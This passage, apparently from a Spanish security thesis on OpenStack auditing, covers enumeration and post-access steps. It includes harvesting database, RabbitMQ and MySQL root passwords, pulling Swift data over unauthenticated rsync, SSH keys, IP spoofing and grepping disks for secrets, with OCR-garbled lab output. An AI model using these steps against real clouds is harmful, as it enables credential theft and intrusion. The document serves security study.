Si de ninguna forma fuera posible conectar a Horizon, porque no se disponga de
conectividad o porque no estuviera instalado, se podréan introducir los datos requeridos a
mano. Tipicamente se necesitarédn los siguientes:

= URL de autenticacién: ubicacion de la API de Keystone, se podra haber obtenido
mediante enumeraciéon. Se podré especificar con el parametro --os-auth-url o mediante

la variable de entorno OS AUTH_URL.

= Nombre de usuario: se asume que se dispone del nombre de usuario. Indicado mediante
parametro --os-username o variable OS USERNAME:
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= Contrasena: similar al anterior. Indicado mediante parametro --os-password o variable
0S PASSWORD.

» Dominio: tipicamente serd igual a default. Si hubiera més de uno se podra
obtener consultando en Horizon, aunque si se disponen de credenciales se
deberia conocer también el dominio. Parametro --os-user-domain-name o variable

OS_USER_DOMAIN NAME.

Una vez indicados estos datos sera posible realizar peticiones a través del cliente. Esta
serfa una pequena guia de comandos recomendados a ejecutar:

= openstack catalog list: de esta forma se obtienen todos los endpoints disponibles, que
indicaran qué tipos de recursos pueden estar presentes en la nube.

= openstack <tipo de recurso>list: asi podran listarse los diferentes elementos disponibles
de un determinado tipo de recurso. Ejemplo para ver maquinas virtuales: openstack
server list.

s openstack <tipo de recurso>show <id o nombre de recurso>: para obtener detalles de
un recurso concreto. Ejemplo para ver red public: openstack network show public.

Para comprobar las posibilidades de cada una de estas opciones, o para ver los tipos de
acciones que pueden realizarse, es recomendable también comprobar la ayuda del cliente
usando la opcion --help.

source demo-openrc.sh
openstack server list

256d0591-ef8c-4083-8de7-2acf445ecabd debian2 | SHUTOFF private=10.0.0.150, debian- ml.tiny
2a3916d3f-6931-4ece-b629-e61c887a778b demo3 | SHUTOFF private2=10.1.0.48 cirros ml.tiny
b3fea7cb-cbhl-435e-af69-807240faaedb demo2 | SHUTOFF private2=10.1.0.252 cirros ml.tiny

demo | ACTIVE private=10.0.0.180, debian- ml.tiny

Figura 19: Listado de instancias desde consola

Ciertos tipos de recursos no pueden mostrarse con un usuario sin rol de administrador.
Entre este tipo de recursos estarian por ejemplo los proyectos, los usuarios o sus roles
(principalmente elementos de Keystone), o datos del propio sistema, como el estado de
los diferentes servicios e hipervisores. Existe también otro parametro disponible solo para
usuarios con rol de administracion: el --all, con el que pueden visualizarse elementos de
todos los proyectos, y no solo aquellos que tiene asociados el usuario.

Finalmente, otra posibilidad de enumerar recursos seria realizando directamente llamadas
HTTP a la API. A este respecto solo se comentara que para realizar estas peticiones es
necesario solicitar primero un token a través de Keystone, y luego utilizar este token para
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autenticarse en el API que corresponda y hacer la peticién pertinente.

Realizar peticiones HTTP directas es ttil sobre todo para comprobar cémo funcionan
las diferentes llamadas y para visualizar todos los datos que proporciona la API, ya que el
cliente puede ocultar alguno de éstos. Lo recomendable es utilizar un proxy tipo Burp 0
ZAP , capturar las peticiones realizadas por el cliente y después replicarlas/modificarlas
mediante dicho proxy:

1]
Request =
Raw | Params | Headers | Hex

Pretty [GEI \n  Actions v

| POST /v3/auch/cokens HTTP/1.1
Host: 192.Ll€8.110.23: snnn
= 0 ke 11/4.2.1 python-requescs/2.24.0 CPython/3.8.6
a Am,spt Enmqu gzip, d=£lab=
S Aceept: application/3sen
£ Connection: close
7 Content-Type: application/json
© Content-Length: 142

10 ["auth”: {"identity": {"methods": ["password"], "password”: ("user": {"password": "openstack”, "mame": "dewol", "edomain®: ("name’: fdsfault}}}}3}

@@ (€] (2] [search. 0 mate
Response

Raw | Headers | Hex
Raw Render \n Actions v

1 HTTP/1.1 201 Created

2 Date: Wed, 04 Nov 2020 22:1L:23 GHMT

3 server: Apache

3 ¥-Sw)ect-Token: gAAAAMBEOYCLZ0QYs02D1951H4Ve INF LdBWGL -9 LuBLFO £v ZRNHVES 2w 1AX1522P S b gVl 7liax 410d W23 -_¥nlScTGhOTAaTG2KEOYS 8 6s AgPOZNGXDDE XS KO g F 4 THU T4 FNVOme 2 qYBhEgBer7T7 53 [ TKD 272 XZPGRAE Ku_EhNBuEScXi
5 Vary: ¥-Auth-Token

Figura 20: Obtenciéon de token a API de Keystone mediante Burp

Request g = |
Raw | Headers | Hex

precty [ER \n Actions v

4 hecept-Enceding: geip, deflate

5 Accept: application/jsen

¢ Commection: close

7 ¥-OpenStack-Nova-APT-Version: 3.1

© ¥-Auth-Token: gAAAAABEoycLz0QYse2D1951M4VeLNF1dBwGL-91wBlFOEVZRNHVE] sXvldkiS z2PShbgVlx7Nariddizs-_Wnl5cTghOTqaTG keOYSxECa dgPOZHGXDDEx SH0g=F Wi THUT: HNVOme2 YBhgBq7qT753 1YkD 2723 XZPGRAx kiu_£hMBUESCKE

@@ (€] (=] [search. 0 matc

Response

Raw | Headers | Hex

N Actions v

Content-Length: 1154

10 Comnsetion: elose

L1 Content-Type: application/json

12
13 ("servers”: [{"i "z "links": [{"href":
2acEA45ecaca”
Servers/2a8ledit-£o3l- 4=L=7bi 5- 9215857577511",
: "bifea7ch-chbibl-435=-afE9-80£240Taa=4h”, "links”: [{"h

"hetpi//192, 168, 110.23; 5774/v +1/servers/256d0591-c£8c-4083-8d=7-2.

2agLEA3E-£93 1 =
£8.110.23: 9774/ servers/2a8 143 . 693 1-dece hE2S
ervers/b3fealch-chbl-435e-af69-00£240faas4h",

'selff}), {"href": hl:\:p /719
p://182.168.110.23:8774/v2

Figura 21: Listado de instancias usando API de Nova con token obtenido mediante Burp

4.3.2. Obtencion de identificadores ajenos

Todo elemento en una nube OpenStack tiene asociado un identificador en formato
hexadecimal. Tipicamente un usuario podré visualizar los identificadores de los elementos
a los que tiene acceso: su proyecto, sus instancias, su propio id, etcétera. Sin embargo,
aunque estos identificadores no son un secreto como tal, si que es cierto que un usuario no
administrador generalmente no puede obtener identificadores ajenos.
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Estos identificadores podrian ser tutiles por ejemplo en el caso que un atacante pudiera
llevar a cabo un ataque de tipo Cross-Site Request Forgery, ya que las peticiones a la
interfaz grafica generalmente usan identificadores y no nombres. Por ejemplo, una peticién
de asociacion de un usuario a un proyecto incluira el id de dicho usuario, el id del proyecto
objetivo, y el id del rol con el que el usuario se asociara a dicho dominio.

Un usuario puede consultar su id, los ids de sus proyectos y los ids de sus roles
directamente en la respuesta a la peticion de generacion de token mediante Keystone (la
dirigida a /v8/auth/tokens que se vio en el apartado anterior). Sin embargo, habra ciertos
casos en los que un usuario podra llegar a visualizar también ciertos ids ajenos, como por
ejemplo los ids de usuarios que pertenezcan a su mismo proyecto, o los ids de proyectos
desde los que se estén compartiendo recursos.

Con respecto a este apartado, la parte en la que méas se han centrado los esfuerzos es en
la de la obtencién de identificadores relacionados con administradores del entorno, es decir,
del usuario admin, el proyecto admin o el rol admin. El id del proyecto admin es posible
obtenerlo por ejemplo mostrando las propiedades de aquellos elementos compartidos, como
imégenes o redes publicas, ya que solo un usuario con rol administrador pueden compartir
elementos, y tipicamente estaran compartidos desde el proyecto admin.

En la siguiente captura pueden observarse dos terminales: una con una sesién no
privilegiada en la que se obtiene el id del proyecto admin, y otra con una sesion de
administrador para verificar el identificador:

# echo $0S_USERNAME # echo $0S_USERNAME
demol - admin
# openstack image show cirros # openstack project show admin
+esm e e m e e e e e essassssssesssssssssssssssessesss +
| Field | value
S e e +
checksum 1d3062cd89af34e419f7100277f38b2b
container format bare
created at 2020-04-09T23:55:42Z
id 53905a4ac2ac4fal8be7aadeleld64ed
is_domain False
name admin

disk format raw
/v2/images/065376b7-0968-4539-93ef-7adlecdefa2d/Tile
id 065376b7-0968-4539-93ef-7ad4lecdeba2d

min_ram (¢}

name cirros

owner 53905adac2ac4fal8be7aa3eleld6ded

properties direct url="Tile:///var/l1b/glance/images/065376b7-0968-4539-93ef-7a4lec4eba2d
protected False

schema /v2/schemas/image

| |
| |
| |
| |
| |
| minidisk [c] | parent _id default
| |
| |
| |
| |
| |
| |

Figura 22: Obtencion de identificador de proyecto admin con usuario no administrador

La obtencién del id para el usuario admin ha sido algo més compleja de lograr, ya que
todos estos elementos compartidos solo muestran el id del proyecto. Si que hay un elemento
en el que pueden llegar a visualizarse, y es en los eventos de instancias.

Por cada instancia existe un registro de eventos en el que se va almacenando las acciones
que van ocurriendo sobre la misma (creacion, arranque, parada, etcétera). En caso que el
usuario admin haya llevado a cabo alguna acciéon de mantenimiento sobre alguna instancia
del proyecto al que pertenece el usuario que esta realizando la enumeracion, se observara un
evento con el identificador del primero.
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En la siguiente captura se observaran de nuevo dos terminales. En la primera se puede
ver un bucle en el que se obtienen los campos Project ID y User ID de los eventos de cada
una de las instancias, que posteriormente se ordenan y se eliminan duplicados con sort -u.
Se observa que hay dos pares diferentes: uno que corresponde al usuario demo utilizado para
la enumeracion y otro perteneciente al proyecto admin, cuyo id de usuario corresponde con
el del usuario admin. Esto tltimo se verifica en la segunda terminal.

# # echo $0S_USERNAME
# echo $0S_USERNAME admin
demol # openstack user show admin
# for server in ‘openstack server list | awk '{print$2}' | grep '\-'" ; do +

openstack server event list $server --long -c 'Project ID' -c 'User ID'
> done | sort -u 20
+ + d id default
| 2d3df2ea2634412d88c88c179c6b8ATT | ema admin@example.com
53905adac2ac4falB8be7aa3eleld64ed | 2a09da2941ef4924b09e6008a68ed3ab | | enabled True
None None | id 2a09da2941et4924b09%e6008ab68e4d3ab
Project ID | User ID | name admin

options {1

I

|

|

#

# password_expires_at | None
# heoccmcccccccccccccacan

Figura 23: Obtencién de identificador de usuario admin con usuario no administrador

Sobre la obtencion del id del rol admin, éste no ha podido ser obtenido con un usuario
estandar. Dicho id solo se encuentra presente en Keystone, y éste impide a cualquier usuario
no administracion su visualizacion.

4.4. Acceso a la infraestructura

En el altimo escenario de enumeracion, se contemplaré la posibilidad de que un atacante
haya podido ganar acceso a la propia infraestructura de la nube. Esto podria haber ocurrido
por ejemplo por una vulnerabilidad de ejecuciéon remota de cdédigo en uno de los servicios
de OpenStack o mediante el robo de unas credenciales o clave SSH que permita el acceso a
un nodo fisico.

Aqui habré diferentes casos, ya que segun el tipo de acceso que se haya obtenido, el
atacante podra haber “aterrizado” en un nodo de computo, de control o en el de undercloud,
y en el caso de los dos primeros que se encuentre dentro de un contenedor o en el host fisico.

De nuevo, no se tendran en cuenta ciertos puntos de enumeraciéon, como comprobar el
fichero /etc/hosts, ya que aunque por ejemplo este fichero proporcione informaciéon muy
valiosa del entorno se trataria de un punto de enumeracion genérico que deberia llevarse a
cabo en cualquier tipo de auditoria/ataque a un servidor Linux. Se tratara por tanto de
incluir tnicamente puntos relacionados con entornos OpenStack.

4.4.1. Comprobaciéon de presencia en contenedor

Como se ha indicado anteriormente, los servicios de OpenStack en los nodos de cémputo
y de control se encuentran aislados en contenedores. En caso que un atacante haya obtenido
ejecucion remota de codigo a través de una vulnerabilidad en uno de estos servicios, lo
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normal es que se encuentre dentro de un contenedor.
Para verificar esto existen varias evidencias que se pueden consultar:

= El proceso con PID 1 no es systemd ni init, sino directamente un proceso de aplicacion.

» Los cgroups del proceso con PID 1 (en /proc/1/cgroup) no apuntan a “/”, sino que
tienen referencias de docker.

» Comprobando los puertos abiertos y su propietario (por ejemplo mediante ss -ntlp),
se observa que hay muchos puertos a la escucha en comparaciéon con el ntimero de
procesos, y que no es posible visualizar el proceso propietario de muchos de ellos.

» En /proc/mounts se ve que el FS raiz es un montaje de tipo overlay con referencias a
docker, y se ve que ficheros de /etc como el hosts o el resolv.conf son también montajes.

Es posible que alguno de estos puntos no tenga por qué cumplirse, ya que un contenedor
puede usar ciertos espacios de nombre del host en lugar de tener unos propios aislados. Sera
recomendable por tanto comprobar varios de estos puntos para asegurarse que efectivamente
la maquina se trata de un contenedor.

En la siguiente imagen puede verse una comparativa de estos puntos entre un contenedor
y su host:

() [root@overcloud-controller-0 /1# df -h / [root@overcloud-controller-0 ~]# df -h /

Filesystem Size Used Avail Use% Mounted on Filesystem Size Used Avail Use% Mounted on

overlay 1006 186 826 18% / /dev/vda2 1006 186 82G 18% /

()l root@overcloud-controller-0 /]# grep /etc/resolv.conf /proc/mounts [root@overcloud-controller-0 ~]# grep /etc/resolv.conf /proc/mounts
/dev/vda2 xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0 [root@overcloud-controller-0 ~]#

() [root@vercloud-controller-0 /]# head -n3 /proc/l/cgroup [root@overcloud-controller-0 ~1# head -n3 /proc/l/cgroup

11l:perf_event:/system.slice/docker-flblb4fb9caeeldde738c1563854a3525¢6c598a2d854d32 48ac801dl.scope 1l:perf_event:/
10:hugetlb:/system.slice/docker-flblb4fb9caeel4de738c1563854a3525¢6c598a2d854d32425 ac801ldl.scope 10:hugetlb:/
9 :memory: /system.slice/docker-flblb4fb9caeeldde738c1563854a3525c6c598a2d854d32425429448ac801d1. scope 9:memory:/

Figura 24: Comprobacién evidencias de servidor en contenedor

En caso de encontrarse en un contenedor, serd también interesante comprobar si
dicho contenedor esta corriendo en modo privilegiado, ya que esto facilitara escapar del
contenedor. Para ello puede tratarse por ejemplo de montar una unidad de tipo tmpfs. En
caso que sea posible el contenedor estara ejecutandose como privilegiado.

4.4.2. Identificacion del rol del servidor

El siguiente punto de enumeracion deberia ser comprobar el rol del servidor al que se
ha obtenido acceso, ya que en base a éste podran llevarse una serie de ataques u otros. En
ciertas ocasiones el propio hostname de la maquina serd evidencia suficiente del tipo de
nodo (por ejemplo un os-undercloud deberia tratarse del nodo de undercloud), pero a veces
habra que comprobar ciertos elementos para identificar su rol.
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Generalmente lo méas sencillo serd comprobar el tipo de procesos que hay corriendo en la
maquina, en caso que no se trate de un contenedor. Si solo hubiera procesos relacionados con
nova o neutron, o si hubiera procesos de qemu (usados para ejecutar méaquinas virtuales) lo
més seguro es que se trate de un nodo de computo. Si hubiera mas procesos, como keystone,
glance, heat, etcétera, lo mas seguro es que se trate de un nodo de control o del nodo de
undercloud.

Dado que el nodo de undercloud es también una especie de nodo de control, habré que
disponer de alguna forma para identificar uno u otro. Un método posible es comprobar si
hay procesos de ironic (utilizado para despliegues sobre bare-metal), ya que su presencia
generalmente indicard que se trata del nodo de undercloud. Otra forma seria comprobar
si los procesos de OpenStack se encuentran ejecutandose bajo contenedores (docker ps),
puesto que esto ocurre en el nodo de control, no siendo asi en el de undercloud (por lo
menos para la version de OpenStack analizada).

En caso que solo se pueda identificar un proceso por encontrarse dentro de un contenedor,
identificar el rol del host dependeré del proceso en cuestion. De nuevo: procesos tipo keystone,
cinder... denotaran un rol de control. En caso que se trate de nova o neutron, dependeré del
proceso concreto. A continuaciéon puede observarse una lista con ejemplos:

= Procesos de computo: nova-compute, neutron-openvswitch-agent

= Procesos de control: nova-api-wsgi, nova-api-metadata, mnova-conductor,
nova-scheduler, nova-consoleauth, neutron-server, neutron-metadata-agent,
neutron-openvswitch-agent

4.4.3. Comprobaciéon de permisos de superusuario

En un sistema Linux por lo general es una buena practica ejecutar servicios con un
usuario no privilegiado para que en, caso de ser comprometido, un atacante no llegue
a obtener el control completo sobre el sistema. Sin embargo, en ocasiones el servicio
debe ser capaz de ejecutar ciertas acciones con privilegios de administrador, para lo que
habitualmente se emplea la utilidad sudo.

En OpenStack el proceso es parecido, solo que los usuarios de servicio tienen una capa
adicional de seguridad, y es que en lugar de permitir comandos especificos, se permite
tnicamente ejecutar como administrador un wrapper que proporcionara mayor granuralidad
sobre los comandos que podran ejecutarse. Estos wrappers estaran ubicados habitualmente
en /usr/bin/<servicio>-rootwrap (por ejemplo nova-rootwrap), y su configuraciéon en
/ete/<servicio> /rootwrap. conf.

Dentro de estos ficheros de configuraciéon a su vez se especifican unos directorios con
la ubicacion de los filtros, que seran los que especifiquen qué acciones podra llevar a cabo
un usuario. Dichos filtros pueden indicar qué comandos ejecutar (pudiendo usar expresiones
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regulares), qué ficheros se pueden leer o qué procesos se pueden matar entre otros. Los filtros
estaran ubicados tipicamente bajo el directorio /usr/share/<servicio> /rootwrap,/.

-bash-4.2% whoami

nova

-bash-4.2% sude -1 | tail -n 3

User nova may run the following commands on overcloud-novacompute-0:
(root) NOPASSWD: /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf *
(root) NOPASSWD: /usr/bin/privsep-helper *

-bash-4.23%

-bash-4.2% ovs-vsctl show | head -n 3
ovs-vsctl: unix:/var/run/openvswitch/db.sock: database connection failed (Permission denied)
-bash-4.2%
-bash-4.2% sude /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf ovs-vsctl show | head -n 3
cae73ec6-7574-4a7d-939f-662c2832c88b
Manager "ptcp:6640:127.0.0.1"
is connected: true

Figura 25: Ejecuciéon de comando ovs-vsctl como administrador con nova-rootwrap

En un proceso de enumeraciéon normal, lo habitual serfa comprobar los permisos de
superusuario para el usuario actual con sudo -I. En un entorno OpenStack ademas habra
que comprobar por tanto los filtros del rootwrap que corresponda. Esto serda muy facil ya
que, al contrario del fichero sudoers que solo puede ser leido por root, los ficheros de filtros
bajo /usr/share son legibles para cualquier usuario de la maquina, lo que puede dar una
idea rapida de las capacidades de los diferentes usuarios de servicio de OpenStack.

4.4.4. Buasqueda de datos sensibles

Tras haber ganado acceso a alguno de los nodos, en caso que se disponga de un usuario
de un servicio de OpenStack o del usuario administrador, serd posible obtener cierta
informacion sensible dentro de las carpetas de usuario o de la configuracion de los diferentes
servicios.

En un nodo de computo por ejemplo, se podra conseguir la contrasena del usuario nova
de la BD de OpenStack. Para ello habra que conectar al contenedor nova_compute (docker
exec -it nova_ compute bash) y buscar esta informacion en el fichero /etc/nova/nova.conf.
De esta misma forma es posible obtener la contrasena del usuario guest de RabbitMQ), el
gestor de colas usado para intercambiar mensajes entre ciertos servicios de la nube.

() [nova@overcloud-novacompute-8 /]$ grep ~rabbit /etc/nova/nova.conf
rabbit port=5672

rabbit_userid=guest
rabbit password=fvFPaPsRA2dYVCQNxQqtFM7ZY

() [nova@overcloud-novacompute-0 /1$

() [nova@overcloud-novacompute-@ /]$ grep “connection /etc/nova/nova.conf
connection=mysql+pymysql://nova_api:U6AKNCj3UZtadkGCCtuTzaseA@192.168.120.42/nova_api?read_default]
connection=mysql+pymysqgl:/.,/nova:UBAKNC]3UZtadkGCCtuTzaseA@192.168.120.42,/nova?read default group=t
connection=mysql+pymysql://nova placement:UbAKNC]3UZTadkGLLTUTZaseAdl9Z.168.120.42/nova_placement?

Figura 26: Contrasenas de nova en nodo de céomputo

Dentro del contenedor nova_migration_target de los nodos de cémputo puede
encontrarse en la ubicacion /etc/nova,/migration/identity una clave privada SSH, utilizada
por Nova para realizar migraciones de maquinas virtuales. La conexiéon SSH en estos casos
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es muy limitada, aunque puede utilizarse para ejecutar ciertas acciones sobre cualquiera de
los hipervisores, como gestionar sus méquinas virtuales.

En un nodo de control es posible obtener también contrasenas de bases de datos, solo que
en lugar de disponer tinicamente de la de Nova seréd posible obtener la de todos los servicios.
Habra que conectar para ello contenedor a contenedor y obtener la informacion del fichero de
configuracion que corresponda (/etc/neutron/neutron.conf, /etc/keystone/keystone.conf...).
Otro dato interesante a obtener en el contenedor de Keystone seran las claves de firma de
tokens bajo la ruta /etc/keystone/fernet-keys/. Gran parte de la informacion mencionada
esta también disponible en /etc/puppet/hieradata/service  configs.json.

En el nodo de undercloud, ademés de informacion similar a la que pueda encontrarse
en un nodo de control, hay informacién mucho mas interesante bajo el HOME del usuario
utilizado para la instalacion de la nube (stack por defecto). En primer lugar dentro de
este directorio se encontraran dos ficheros stackrc y overcloudre, con las credenciales de
administrador del undercloud y el overcloud respectivamente.

También en el mismo directorio habra un fichero undercloud-passwords.conf con todas
las contrasenas de los diferentes servicios del undercloud. Ademas, bajo el subdirectorio .ssh
se encontrard una clave privada de SSH que puede utilizarse para conectar con el usuario
heat-admin a cualquier nodo del overcloud.

[stack@os-undercloud ~]$ ssh -i ~/.ssh/id_rsa heat-admin@l92.168.100.16 "hostname
overcloud-controller-@

[stack@os-undercloud ~]%

[stack@os-undercloud ~]% source overcloudrc

(overcloud) [stack@os-undercloud ~]% openstack hypervisor list

L R i R R Fo--mm- - +
| ID | Hypervisor Hostname | Hypervisor Type | Host IP | State
L e it R e R +
| 1 | overcloud-novacompute-0.localdomain | QEMU | 192.168.120.43 | up

2 | overcloud-novacompute-1.localdomain | QEMU | 192.168.120.20 | up
L e it R e R +

Figura 27: Prueba de conexion SSH a controller usando clave privada del undercloud y uso
de credenciales de admin

Desde el nodo de undercloud sera también posible obtener mas datos del overcloud como
todas las contrasenas de servicio, pero incluyendo ademas otros datos no visibles en el
controller como la contrasenia de administrador de MySQL. Esto es posible comprobando
las salidas de los comandos ejecutados por Mistral, el servicio que coordina el despliegue del
overcloud. Puede observarse un ejemplo en la siguiente imagen:

[stack@os-undercloud ~]$ source stackrc

(undercloud) [stack@os-undercloud ~]$% id="openstack action execution list | grep tripleo.parameters.update | tail -nl | awk '{print$2}'"
(undercloud) [stack@os-undercloud ~]$ openstack action execution output show $id | jg '.result.heat_resource_tree.parameters.MysqlRootPassword'

Figura 28: Obtencion de contrasena de MySQL de overcloud
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Es posible obtener a través de Mistral otra clave privada ssh diferente mediante el
comando “openstack workflow env show ssh _keys”. Esta es la clave utilizada por TripleO
para despliegues y validaciones, y permite también conectar a todos los nodos con el usuario
heat-admin o a los nodos de computo como el usuario tripleo-admin. Esta clave puede ser
util en caso que no esté disponible la ubicada bajo /home/stack/.ssh.

Por dltimo, existe otro dato sensible interesante, que es la cookie del gestor de colas
RabbitMQ. Esta permite el control remoto del gestor de colas y se encuentra ubicada bajo el
directorio /var/lib/rabbitmq/.erlang.cookie. Esta cookie se encuentra tanto en el undercloud
como el el nodo de control dentro del contenedor rabbitmg.

[heat-admin@overcloud-controller-0 ~]$ sudo docker exec -it rabbitmq cat /var/lib/rabbitmg/.erlang.cookie

TRjTO9TsBzrf4AnRyeCWy

Figura 29: Cookie de gestor de colas RabbitMQ

Hay que indicar también que en ocasiones el servicio de identidad de Keystone se
encuentra integrado con un entorno de Directorio Activo de Windows para la gestion de
identidades. En estos casos, Keystone debe tener almacenadas en su fichero de configuracion
unas credenciales vélidas de dominio. Dichas credenciales podran también ser recuperadas,
lo que permitiria extender la intrusion hacia otras secciones de la infraestructura.

4.4.5. Obtenciéon de datos a través de rsync en el nodo de undercloud

Antes que nada hay que indicar que este método solo es vélido teniendo acceso al nodo
de undercloud en la red de provisiéon. Aunque técnicamente solo requeriria de conectividad,
se ha encuadrado dentro del apartado que requiere acceso a la infraestructura ya que esta
red generalmente estaré aislada y solo deberia poder ser accesible desde uno de los nodos de
la infraestructura.

En el nodo de undercloud, gran parte de los datos de despliegue del overcloud se almacena
en un servicio de OpenStack conocido como Swift, utilizado para el almacenamiento de
objetos. Este servicio no se ha desplegado en el entorno de laboratorio, ya que en entornos
de produccion no suele instalarse, o se utiliza en su lugar otras soluciones como Ceph [24].

Generalmente, al igual que el resto de servicios de OpenStack, el acceso al API de Swift
requiere autenticacion. Sin embargo, se ha descubierto que en la instalaciéon por defecto
el undercloud sirve los datos de Swift a través de un servidor de rsync, empleado para
la replicacion entre diferentes nodos si los hubiera. Dicho servidor de rsync no requiere
autenticacion de ningtn tipo, con lo que es posible descargar toda la informaciéon disponible
y obtener de esta forma datos sensibles.

En la siguiente captura puede observarse la recuperacion de datos como la contrasena de
administrador del overcloud o la cookie de RabbitMQ:
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# rsync -av rsync://192.168.100.1/object/ . | head
receiving incremental file list

v

1/
1/accounts/

1/accounts/310/

1/accounts/310/b9d/
1/accounts/310/b9d/4daf4c04b735745haedfl4e09a0b3b9d/
1/accounts/310/b9d/4daf4c04b735745baedfl4e09a0b3b9d/ . lock

1/accounts/310/b9d/4dat4cB04b735745baedf14e09a0b3b9d/4daf4c04b735745baedf14e09a0b3b9d . db
1/accounts/310/b9d/4dat4cB4b735745baedf14e09a0b3b9d/4daf4c04b735745baedf14e09aBb3b9d. db. pending

#
# grep -REi -e ' RabbitCookie: [a-z8-9]+' -e ' AdminPassword: [a-z0-9]+' *

Figura 30: Informacion sensible expuesta de forma publica con rsync

Como se aprecia en la imagen, pueden aparecer varias instancias de estas contrasenas
segun la cantidad de veces que se haya reinstalado el overcloud. Es cuestion de probar todas
las existentes para ver qué fichero es el adecuado (en el caso de la instalacion sobre la que
se esta trabajando es el fichero que aparece senalado). Dentro de este fichero ademas se
encontraran otros datos sensibles, como contrasenas de todos los servicios de OpenStack, de
base de datos, claves de firma de tokens, clave SSH privada para la migraciéon de maquinas,
etcétera. En la seccidon puede verse mas informacion sobre estos datos.
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Capitulo 5. Ataques en OpenStack

Tras una adecuada enumeracion, la siguiente fase logica es la del ataque. De esta
forma un atacante o un auditor lograran explotar las posibles vulnerabilidades encontradas
para tratar de comprometer la mayor parte del sistema posible y conseguir su objetivo
final (conseguir el control de la nube, obtener informacion confidencial, llevar a cabo una
denegacion de servicio, etcétera).

En este apartado se describiran algunos de los posibles ataques que se pueden llevar a
cabo en OpenStack, que bien podrén ser ataques comunes en otros entornos y que también
afecten a este tipo de nubes, o bien ataques especificos de estos entornos.

Dentro de este apartado se incluiran también ciertas acciones consideradas como
post-explotacién, como acciones para lograr persistencia en el sistema, ya que en cierto
modo constituyen un ataque en si.

De nuevo se separaran en diferentes apartados segin el punto donde esté ubicado
el atacante/auditor, de forma que puedan observarse rapidamente qué posibles acciones
pueden llevarse a cabo segin se disponga de un acceso u otro.

5.1. En instancia

El escenario de un atacante dentro de una instancia serd uno de los més restrictivos.
Como ya se ha especificado, la nube dispone de mecanismos de seguridad que impiden la
visibilidad entre diferentes tenants, diferentes redes, entre maquinas virtuales y el propio
host, etcétera. Existiran sin embargo ciertos tipos de ataques, que aunque su explotacién no
sea viable en todos los casos, podran llevarse a cabo bajo ciertas condiciones.

En caso que la instancia tenga conectividad contra la plataforma de gestion de la nube,
habra que tener en cuenta también aquellos ataques dirigidos a la misma. Este tipo de
ataques se veran en la siguiente seccion, que comprendera el punto de vista de un atacante
con conectividad a la infraestructura.

También existird la posibilidad de efectuar movimientos laterales atacando a otras
instancias, aunque esto se llevara a cabo de forma similar a otros entornos mas tradicionales,
y por tanto no se incluiran en este trabajo.

5.1.1. ARP/IP spoofing

Uno de los posibles ataques dentro de una instancia en OpenStack son los de ARP
spoofing, aunque esto solo sera factible en el caso que la instancia tenga deshabilitada una
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opcion a nivel de puerto de red conocida como port security. Dicha opciéon habilita filtrado
por IP y MAC para impedir que una instancia envie trafico de red con una direccion
diferente a la que se le ha sido asignada, y suele deshabilitarse cuando una instancia tenga
que enrutar trafico ajeno, por ejemplo para filtrar o inspeccionar trafico de red.

Es posible por ejemplo comprobar si una instancia tiene esta opcién habilitada anadiendo
a la interfaz de red una IP secundaria dentro del mismo rango (que no esté en uso
preferiblemente) y realizar un ping al router principal con dicha IP origen. En caso que
conteste lo mas probable es que el port security esté deshabilitado, ya que de otro modo se
bloquearia el trafico saliente con dicha IP secundaria.

: ¢ ip addr show dev eth®
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 gdisc pfifo_fast state UP group default glen 1000
link/ether fa:16:3e:52:19:91 brd ff:ff:ff:ff:ff:ff
inet 10.0.0.180/24 @ 189.0.0.255 scope global dynamic eth@
valid LTt 86l/1sec preferred lft 86171sec
inet 10.0.0.181/24 scope global secondary eth®
valid LTt forever preferred 1ft forever
inet6 feB0::f816:3eff:fe52:1991/64 scope link
valid 1ft forever preferred 1ft forever
H
$ ping -w 1l -c 1 -I 10.0.0.181 10.0.0.1

PING 10.@.9:1 (10.0.0.1) from 10.0.0.181 : 56(84) bytes of data.

--- 10.0.0.1 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time Oms

i $ ping -w 1 -c 1 -1 10.0.0.181 10.0.0.1
PING 10.0.0.1 (10.0.0.1) from 10.0.0.18 56(84) bytes of data.
64 bytes from 10.0.0.1: icmp_seqg=1 ttl=64 time=2.10 ms

--- 10.0.0.1 ping statistics ---
1 packets transmitted, 1 received, ; packet loss, time Oms
rtt min/avg/max/mdev = 2.095/2.095/2.095/0.000 ms

Figura 31: IP spoofing con port security habilitado y deshabilitado

En cualquier caso los ataques de tipo ARP spoofing no son muy recomendables,
especialmente durante una auditoria de seguridad, ya que se trata de una accion disruptiva
que puede ocasionar problemas a nivel de servicio de las instancias que se encuentren en
dicha red. No se anadira mas informacién al respecto, ya que ademas se pondra algin
ejemplo en apartados posteriores para llevar a cabo un ataque de tipo Man-in-the-middle.

5.1.2. Obtencion de datos en volumenes de almacenamiento

En un sistema de nube, el almacenamiento por lo general sera muy volatil, ya que
habra instancias credAndose y destruyéndose continuamente, y que normalmente compartiran
el mismo sistema de almacenamiento. En una nube publica es critico que no puedan
recuperarse datos de otro cliente a través de un volumen de almacenamiento, asi que
generalmente estos son rellenados a ceros cuando el propietario libera dicho volumen.
En una nube privada puede que los mecanismos de seguridad sean mas laxos, ya que
generalmente la nube sera utilizada por miembros de una tnica empresa.
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Se ha comprobado que en una instalaciéon como la indicada en el laboratorio, el tipo de
almacenamiento por defecto no permite llevar a cabo este tipo de ataques. El motivo es
que los voliimenes se generan usando thin provisioning, con lo que inicialmente el disco solo
tendra asignado espacio “virtual”, y solo se le asociara espacio fisico cuando se produzcan
escrituras. Esto evitarda que pueda accederse a espacio fisico que haya pertenecido a otra
instancia.

Aunque esto ocurra con el tipo de almacenamiento por defecto usado en el entorno
de laboratorio (LVM), OpenStack permite diferentes tipos de almacenamiento mas tipicos
de entornos de nube en produccién, como NFS o cabinas de almacenamiento. Por tanto,
aunque este tipo de ataques no sean reproducibles en el laboratorio, habré que tenerlos en
cuenta de cara a realizar una auditoria de seguridad.

En la siguiente captura se muestra un ejemplo de intento de obtenciéon de datos sensibles
mediante la utilidad strings:

i § Llsblk
MAJ:MIN RM SIZE RO TYPE MOUNTPOINT

0 26 0 disk

0 26 0 part /

0 16 0 disk

$ sudo strings /dev/vdb | grep -e root: -e password -e token -e secret | head

python-secretstorage
access_token.pygXA
request token.py\A
tokens.pyst
token.py
token.py.dpkg-new
refresh_token.py
